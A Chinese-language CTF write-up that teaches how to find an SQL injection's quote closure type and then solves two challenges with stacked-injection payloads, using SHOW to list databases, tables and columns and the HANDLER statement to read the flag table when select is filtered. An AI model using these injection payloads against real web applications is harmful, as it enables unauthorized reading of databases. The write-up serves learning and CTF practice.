判断闭合方式
方法一.使用(转义字符)\来判断SQL注入的闭合方式,看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
方法二.首先尝试:
?id=1’
?id=1"
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错
继续尝试:
?id=1’ #
结果一:无报错
判断闭合符为:单引号闭合。
结果二:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错
最后尝试:
?id=1" #
结果一:结果无报错
判断闭合符为:双引号闭合。
结果二:报错
判断闭合符可能为:双引号加括号。
SQL注入原理及如何判断闭合符
[强网杯 2019]随便注 1
一.判断闭合方式
法一: 输入1\发现\后边跟着是’‘,暂定为’'双引号闭合方式,
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1\'' at line 1
但是后边’'双引号闭合方式无论输入什么内容都只有一个回显,无法注入,所以需要法二来判断
法二:单引号报错,双引号不报错,尝试1’ #发现不报错,进而判断为单引号闭合
二.判断数据库有几列
order by 到3发现报错,因此数据库只有3列
1' order by 1,2,3 #
三.判断注入点(显示位,判断显示的信息是第几列的信息)
发现题目使用了preg_match正则匹配函数检测了很多字段,无法判断显示位,过滤了select导致无法进行接下来来爆库爆表等操作,因此我们需要想到用堆叠注入show来进行,在正常情况下堆叠注入的机会很少,因为后果很危险
1' union select 1,2 #
四.爆库(使用show)
堆叠注入就是用分号(;)来分隔每一条命令。我们在用; 结束一个sql语句后继续构造下一条语句。database应养成良好习惯,使用复数形式,因为不知道有几个库
1';show databases;#
五.爆表
1';show tables;#
六.爆字段
我们show了words表没有发现flag,因此show19198109311144514表,发现了flag。使用show 命令查看表中的「字段」,注意表名要用反引号包裹,尤其当表名为数字的时候
1';show columns from `words`;#
1';show columns from `1919810931114514`;#
六.爆字段内容(select不能使用时,handler就站了出来,handler的是表名不是字段名!!!)
因为show columns form `1919810931114514已经看到flag字段在191这个表里 ,但是show不能进入字段查看字段内容,这里就需要用到handler
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
MySQL“自古以来”都有一个神秘的HANDLER命令。使用此非SQL标准语法,可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。HANDLER … OPEN 语句打开⼀个表,后续的 HANDLER … READ FIRST语句可以访问它。
[GYCTF2020]Blacklist 1
这题和上一道题的步骤一样,只是这题过滤的东西更多
但是还是没有过滤handler,嘿嘿,一样的操作,直接爆表
1';show tables;#
发现了flag,接下来爆字段,不要忘记了表名要用反单引号括起来
1';show columns from `FlagHere`;#
爆字段内容,重要的事情要反复说,不要忘记表名要用反单引号括起来。handler的是表名不是字段名!!!
1';handler `FlagHere` open;handler `FlagHere` read first;#